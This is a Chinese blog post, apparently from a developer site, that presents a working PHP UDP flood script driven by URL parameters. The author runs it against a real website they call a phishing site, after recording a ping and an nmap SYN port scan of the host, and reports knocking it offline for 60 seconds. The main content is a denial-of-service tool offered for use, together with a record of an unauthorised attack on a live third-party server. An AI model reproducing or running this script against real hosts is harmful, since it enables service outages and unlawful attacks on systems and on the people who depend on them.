UDP FLOOD【PHP】

test.php

参考网上php 代码所修改

<?php
  $packets = 0;
  $ip = $_GET["ip"];
  $rand = $_GET["port"];
  set_time_limit(0);
  ignore_user_abort(FALSE);
  $exec_time = $_GET["time"];
  $time = time();
  print "Flooded: $ip on port $rand <br><br>";
  $max_time = $time+$exec_time;
  for($i=0;$i<65535;$i++){
  $out .= "X";
  }
  while(1){
  $packets++;
  if(time() > $max_time){
  break;
  }
  $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
  if($fp){
  fwrite($fp, $out);
  fclose($fp);
  }   
  } 

测试目标:http://zzqgx.com/   (一个钓鱼网站)
目标信息:
PING zzqgx.com (118.193.197.40): 56 data bytes


64 bytes from 118.193.197.40: icmp_seq=0 ttl=105 time=99.915 ms


sudo nmap -sS 118.193.197.40


Starting Nmap 7.12 ( https://nmap.org ) at 2016-09-25 17:24 CST


Nmap scan report for 118.193.197.40


Host is up (0.083s latency).


Not shown: 987 closed ports


PORT     STATE    SERVICE


19/tcp   filtered chargen


80/tcp   open     http


135/tcp  filtered msrpc


139/tcp  filtered netbios-ssn


445/tcp  filtered microsoft-ds


593/tcp  filtered http-rpc-epmap


1025/tcp filtered NFS-or-IIS


1026/tcp open     LSA-or-nterm


1900/tcp filtered upnp


2301/tcp open     compaqdiag


3389/tcp open     ms-wbt-server


4444/tcp filtered krb524


6129/tcp filtered unknown




阻塞80端口


本地测试:
http://***/test.php?ip=118.193.197.40&port=80&time=60
target down!
60秒内此网页无法加载



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值